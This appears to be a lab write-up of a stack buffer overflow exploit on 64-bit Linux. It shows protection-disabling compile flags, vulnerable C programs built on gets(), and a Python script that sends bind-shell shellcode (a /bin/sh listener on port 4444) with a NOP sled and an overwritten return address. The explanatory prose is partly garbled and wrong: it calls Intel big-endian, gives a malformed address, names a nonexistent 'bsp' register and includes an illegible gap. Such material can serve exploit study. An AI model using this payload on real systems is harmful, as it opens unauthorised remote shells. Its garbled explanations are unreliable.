

Stack Overflow Exploit on a 64-bit Linux

```
/* Compile with
 * gcc -fno-stack-protector -z execstack -g -w -o vuln vuln.c
 *
 * make sure that /proc/sys/kernel/randomize_va_space is set to 0.
 */
```

Identifying where the buffer overflow vulnerability has occurred.

Vulnerable code

```
//
#include <stdio.h>

void foo() {
    char buf[150];

    printf("Enter your name: ");
    gets(buf);
    printf("Welcome, %s\n", buf);
    return;
}

int main (int argc, char* argv[]){
    printf("Buffer overflow exploit.\n ");
    printf("Calling foo-function.\n");
    foo();
    printf("Returned from foo. Sorry; no exploit for you!\n");
    return 0;
}

//
```

```
Creating buffer using python Buffer Size = 168
#!/usr/bin/env python
```

```
import sys
```

```
bufsize=168 #total buffer size
nopsiz= 16 #length of nopsiz
buf = ""
buf += "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48"
buf += "\x97\x52\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a"
buf += "\x10\x5a\x6a\x31\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48"
buf += "\x31\xf6\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48"
buf += "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99"
buf += "\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89"
buf += "\xe7\x52\x57\x48\x89\xe6\x0f\x05"
```

```
padsiz=168-16-len(buf)
```

```
sled ='\x90'*nopsiz
padding= 'B'*padsiz
returnaddr= '\x00\xe1\xff\xff\xff\x7f\x00\x00' # 0x00 00 7f ff ff ff e1
00
```

```
Building the padding between buffer overflow start and return address
sys.stdout.write(sled + buf + padding + returnaddr)
```

Fuzzing :-

Fuzzing helps us with sending our Linux commands and redirect the payloads to our application. We create a text file for the program. Debugging helps us to see what's happening at a fine grained level.

Segmentation error.

Now we use the rip register to check the buffer overflow. We execute our target application with the generated 5000 5's and see what's happening with the registers. We see 0x7ffff as a continuation and check in the ASCII table.

We then use "disassemble memmove" for the specific register rip. From this point, we add a breakpoint on the read function. A breakpoint will cause the program to stop executing when the assembly instruction is reached. This helps us check the exact state of the program.

We rerun the program and see that the execution of the program has stopped at the breakpoint. The main point of this is that we would be able to weaponize the buffer at the addresses which is rip.

We use `x/100x $rsp`

This prints out 120 subsequent hexadecimal addresses from the address of `rsp`. Due to the memory address of `rbp`, this command will view the entire stack.

For the return address, we checked with the register `0x00007ffffffffffe404` and it works well. Intel does the Big Endian, the least important digit is supposed to be found at the end.

Using Metasploit framework we create a python script that will help generate a payload that will suit the application's specifications. Adding padding to the payload as we need to return the address to overwrite the `bsp` register. It's not possible if the payload is not long enough.

[illegible]

Vulnerable code #2 Not used.

```
#include <stdio.h>
#include <stdlib.h>
#define NUM 5

double getValue(int i) {
    char userinput[150];

    printf("Enter integer %i: ", i+1);
    gets(userinput);
    return atof(userinput);
}

int main(int argc, char *argv[]) {
    double sum=0.0;
    printf("Calculate average of %d numbers.\n\n", NUM);

    for (int i=0; i<NUM; i++) {
        sum += getValue(i);
    }

    printf("The average of the %u inputs is %f\n",
        NUM, sum/NUM);
    return 0;
}
```